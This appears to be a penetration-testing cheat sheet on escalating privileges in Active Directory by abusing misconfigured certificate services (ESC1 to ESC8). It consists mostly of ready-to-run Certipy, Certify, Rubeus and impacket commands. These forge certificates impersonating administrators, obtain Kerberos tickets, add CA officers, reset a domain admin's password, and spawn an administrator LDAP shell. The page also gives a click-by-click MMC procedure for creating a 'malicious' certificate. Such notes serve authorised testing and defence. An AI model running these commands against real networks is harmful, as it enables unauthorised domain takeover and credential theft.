Windows PrivEsc with AD CS

We may be able to compromise Active Directory with vulnerable AD CS configurations or templates.

- [domain-escalation](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation)
- [ms-crtd](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/1192823c-d839-4bc3-9b6b-fa8c53507ae1)
- [certified-pre-owned-d95910965cd2](https://posts.specterops.io/certified-pre-owned-d95910965cd2)
- [Certified_Pre-Owned.pdf](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf
- [exploiting-ad-cs-a-quick-look-at-esc1-esc8](https://www.crowe.com/cybersecurity-watch/exploiting-ad-cs-a-quick-look-at-esc1-esc8)

⚠️DISCLAIMER: I still don't really understand AD CS, so it might be wrong. If so, please let me know via GitHub Issue or Pull Request.

Enumerate Certificate Templates

Certificate templates are the rule set for AD CS. It contains CA name, CA permissions, etc. Some attributes are related to vulnerabilities to privilege escalation.
To enumerate them, we can use Certify or Certipy.

certipy find -u user@example.local -p password -dc-ip <target-ip> -stdout
certipy find -vulnerable -u user@example.local -p password -dc-ip <target-ip> -stdout

Certify.exe find /vulnerable

ESC1

Requirements to Attack

Exploit

Reference: HackTricks

Request the certificate specifying the altname as a Domain Admin such as localadmin then impersonate an administrator.

Certify.exe request /ca:dc.example.local\VULN-CA /template:VulnTemplate /altname:localadmin
certipy req 'example.local/username:password@ca.example.local' -ca 'VULN-CA' -template 'VulnTemplate' -upn 'administrator@example.local'

Then transform .pem to .pfx using openssl.

# Copy the content of the PEM then paste it to the cert.pem using editor.
nano cert.pem

# Convert PEM to PFX
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

After that we can request TGT using Rubeus.

Rubeus.exe asktgt /user:localadmin /certificate:cert.pfx /password:Password123! /ptt
# if you gave the password for "cert.pfx", you need to specify the password
Rubeus.exe asktgt /user:Administrator /password:password123 /certificate:cert.pfx /ptt
# or output the file
Rubeus.exe asktgt /user:Administrator /certificate:<Thumbprint> /outfile:ticket.kirbi

certipy auth -pfx administrator.pfx -username administrator -domain example.local -dc-ip <target-ip>

If you get the error like "Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)", sync the time with AD server.

sudo rdate -n <target-ip>
# or
ntpdate <target-ip>

Now we get the NT hash so we can login the target machine using this hash by Pass-The-Hash.
Or if we outputs as .kirbi, crack it by john.

• Crack TGT

Please see Kerberos TGT Cracking.

• Pass-The-Ticket

impacket-ticketConverter ticket.kirbi ticke.ccache

ESC2

Requirements to Attack

Exploit

The following LDAP query when run against the AD Forest’s configuration schema can be used to enumerate templates matching this scenario.

# 1.2.840.113556.1.4.804: LDAP_MATCHING_RULE_BIT_OR
# 2.5.29.37.0: Any Purpose EKU
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))

ESC3

To abuse this for privilege escalation, a CAs requires at least two templates conditions.

Requirements to Attack (Condition 1)

Requirements to Attack (Condition 2)

Exploit

We can request an enrollment agent certificate (Condition 1).

Certify.exe request /ca:dc.example.local\VULN-CA /template:VulnTemplate
certipy req 'example.local/username:password@ca.example.local -ca 'VULN-CA' -template VulnTemplate

Then issue a certificate request on behalf of another to a template that allows for domain authentication (Condition 2).

Certify.exe request /ca:dc.example.local\VULN-CA /template:User /onbehalfof:example\itadmin /enrollcert:enrollmentAgentCert.pfx /enrollcertpw:asdf
certipy req 'example.local/username:password@ca.example.local' -ca 'VULN-CA' -template 'User' -on-behalf-of 'example\administrator' -pfx 'cert.pfx'

Ask TGT to authenticate as the "On Behalf Of" user.

Rubeus.exe asktgt /user:example\itadmin /certificate:itadminFromEnrollmentAgent.pfx /password:asdf

ESC4

Requirements to Attack

ESC6

Requirements to Attack

Exploit

First off, check if the EDITF_ATTRIBUTESUBJECTALTNAME2 flag is set on the CA.

certutil –getreg policy\EditFlags

reg query \\<target-ip>\HKEY_LOCAL_MACHINE_SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<VULN-CA>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags

If set, abuse it by using /altname flag with any template (e.g. User) that allows for domain auth.

Certify.exe request /ca:dc.example.local\VULN-CA /template:User /altname:localadmin

certutil -config "VULN-CA-HOST\VULN-CA" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2

ESC7

Requirements to Attack

Exploit

At first we need to know the CA Name so run the following command then check the output.

certipy find -u username@example.local -p password -dc-ip <target-ip> -stdout

# Also it can be used.
Get-CertificationAuthority -ComputerName dc.example.local | Get-CertificationAuthorityAcl | select -expand Access

Then add new officer to the CA. Replace victim-ca with actual name found.

# -add-officer: Add a new officer to specific CA (specified with `-ca`)
# -ca: Specify the CA Name
certipy ca -u username@example.local -p password -dc-ip <target-ip> -ca 'victim-ca' -add-officer username

Next, enable the template on the CA.

certipy ca -u username@example.local -p password -dc-ip <target-ip> -ca 'victim-ca' -enable-template 'SubCA'

# Check if the template enabled successfully
certipy ca -u username@example.local -p password -dc-ip <target-ip> -ca 'victim-ca' -list-template

Request the certificate for the template such as SubCA.

# -upn: Alternative UPN
certipy req -u username@example.local -p password -dc-ip <target-ip> -ca 'victim-ca' -template 'SubCA' -upn administrator@example.local -target example.local

If failed, we can issue the request with the request ID.

certipy ca -u username@example.local -p password -dc-ip <target-ip> -ca 'victim-ca' -issue-request <request-id>
certipy req -u username@example.local -p password -dc-ip <target-ip> -ca 'victim-ca' -target example.local -retrieve <request-id>

Now we have administrator.pfx. Using this, we can retrieve the hash.

certipy ca auth -pfx administrator.pfx -dc-ip <target-ip> -domain example.local -username administrator

Crack the hash and get the administrator’s password or execute pass-the-hash attack.

ESC8

AD CS supports several HTTP-based enrollment methods via additional AD CS server roles that administrators can install. These HTTP-based certificate enrollement interfaces are all vulnerable NTLM relay attacks.

Exploit

Enumerate enabled HTTP AD CS endpoints with Certify.

Certify.exe cas

To parse and list the CES endpoints in their AD object in the msPKI-Enrollment-Servers, execute the following command.

certutil -enrollmentServerURL -config DC.EXAMPLE.LOCAL\VULN-CA

Import-Module PSPKI
Get-CertificationAuthority | Select Name,Enroll* | Format-List *

Privilege Escalation with Microsoft Management Console (MMC)

If we find the template which contains vulnerable parameters, we can create a new certificate using the template and can gain access to the Administrator's account.
There are some method to create the new one. However, this section provides the easiest way using MMC.

1. Request a New “Malicious” Certificate with MMC

1. Right-click on the Windows icon, and select Run.
2. Enter “mmc” (Microsoft Management Console)* in the form and click OK. The console window opens.
3. In the MMC window, click File → Add/Remote Snap-in..
4. Add the “Certificates” snap-in in the window then click OK.
5. Expand the Certificates in the left pane.
6. Right-click on the Personal and select All Tasks → Request New Certificate.
7. The Certificate Enrollment window, click Next twice.
8. In Request Certificates section, click the “More information is required to enroll…”.

9. In Certificate Properties window, choose types and enter values in the form.

   Subject name:

   • Type: Common name
   • Value: vulncert (specify an arbitrary name)

   Alternative name:

   • Type: User principal name
   • Value: tester@abc.example.com (specify the impersonated name and the target domain)

10. Add each name and click OK.

11. Return to the Request Certificates section. Check on the certificate we want to request, then click Enroll.
12. After finishing, expand Personal → Certificates. We should see the new certificate is added.
13. Double-click on the certificate. The Certificate window opens.
14. In the Certificate window, select Details tab and choose Subject Alternative Name. We should see the principal name is our specified name e.g. tester@abc.example.com. If we can, click OK to close the window.
15. At the end, in the MMC window, right-click on the new certificate which we created and select All Tasks → Export… to export the certificate. The Certificate Export Wizard opens.
16. In Export Private Key section, select “Yes, export the private key” and click Next.
17. In Export File Format, it is usually okey the default .PFX format so click Next without any changes.
18. In Security section, check the Password and enter new password.
19. In File to Export section, enter the file name and Next.
20. Finally click Finish then we could export the new malicious certificate.

2. Impersonate User using the Malicious Certificate

If we create a new certificate, we can use it to impersonate the privileged user.

1. Request Kerberos TGT (Ticket Granting Ticket).

   Rubeus.exe is useful to do for that. For details, see Privilege Escalation with Kerberos.

   Rubeus.exe asktgt /user:tester /enctype:aes256 /certificate:vulncert.pfx /password:password /outfile:tester.kirbi /domain:labc.example.com /dc:<ip_of_the_domain_controller>
   

   After that, we should get the TGT (.kirbi file).
   We can gain access using the TGT by changing the password of the DA account.

2. Change the Password of the DA (Domain Administrator) Account.

   # changepw: Change the password of the target user
   # /ticket: Specify the TGT file (.kirbi) we've generated
   # /new: New password for impersonated user
   # /targetuser: Specify the Domain Administrator account name
   Rubeus.exe changepw /ticket:tester.kirbi /new:newpass /dc:<ip_of_the_domain_controller> /targetuser:abc.example.com\<da_user_name>
   

3. Get the Administrator’s Shell

   Using runas command, we can gain access to the Administrator’s account.
   Use the new password which we’ve given the previous section in prompt.

   runas /user:abc.example.com\<da_user_name> cmd.exe
   

Add Computer and PrivEsc

1. Add Computer to the Domain

We can use the addcomputer (impacket) which is usually used for AD CS (Active Directory Certificate Services) Privilege Escalation.

impacket-addcomputer 'example.local/username:password' -method LDAPS -computer-name 'TEST$' -computer-pass 'password'
# or
impacket-addcomputer 'example.local/username:password' -dc-ip 10.0.0.1 -method LDAPS -computer-name 'TEST$' -computer-pass 'password'
# or
impacket-addcomputer 'example.local/username:password@example.com' -method LDAPS -computer-name 'TEST$' -computer-pass 'password'

3. Request Certificates

After adding new computer, we might be able to retrieve certificate using this computer account.
At this time, try using alternate UPN (-upn) for administrator because we want to escalate privilege.

certipy req -u 'TEST$' -p 'password' -ca VULN-CA -target example.local -dc-ip 10.0.0.1 -dns ca.example.local -template Example -upn Administrator@example.local

If successful, the file which contains certificates and private key (e.g. administrator.pfx) will be saved in current directory.

4. Authenticate using PFX

We might be able to retrieve TGT using the .pfx file as below.

# From outside of target machine
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.1
# From inside of target machine
Rubeus.exe asktgt /user:Administrator /certificate:administrator.pfx /ptt

Then using/cracking it to authenticate as Administrator.

Option: Authenticate over LDAP

Reference: https://offsec.almond.consulting/authenticating-with-certificates-when-pkinit-is-not-supported.html

According to the article above, we may be able to authenticate over some protocols such as LDAP(S). First off, split the administrator.pfx with certificate and private key using two commands below.

# Extract certificate by `-nokey` flag
certipy cert -pfx administrator.pfx -nokey -out cert.crt

# Extract private key by `-nocert` flag
certipy cert -pfx administrator.pfx -nocert -out cert.key

After that, using PassTheCert, we can spawn shell as Administrator via Schannel against LDAP(S).

python3 passthecert.py -dc-ip 10.0.0.1 -crt cert.crt -key cert.key -domain example.local -port 636 -action ldap-shell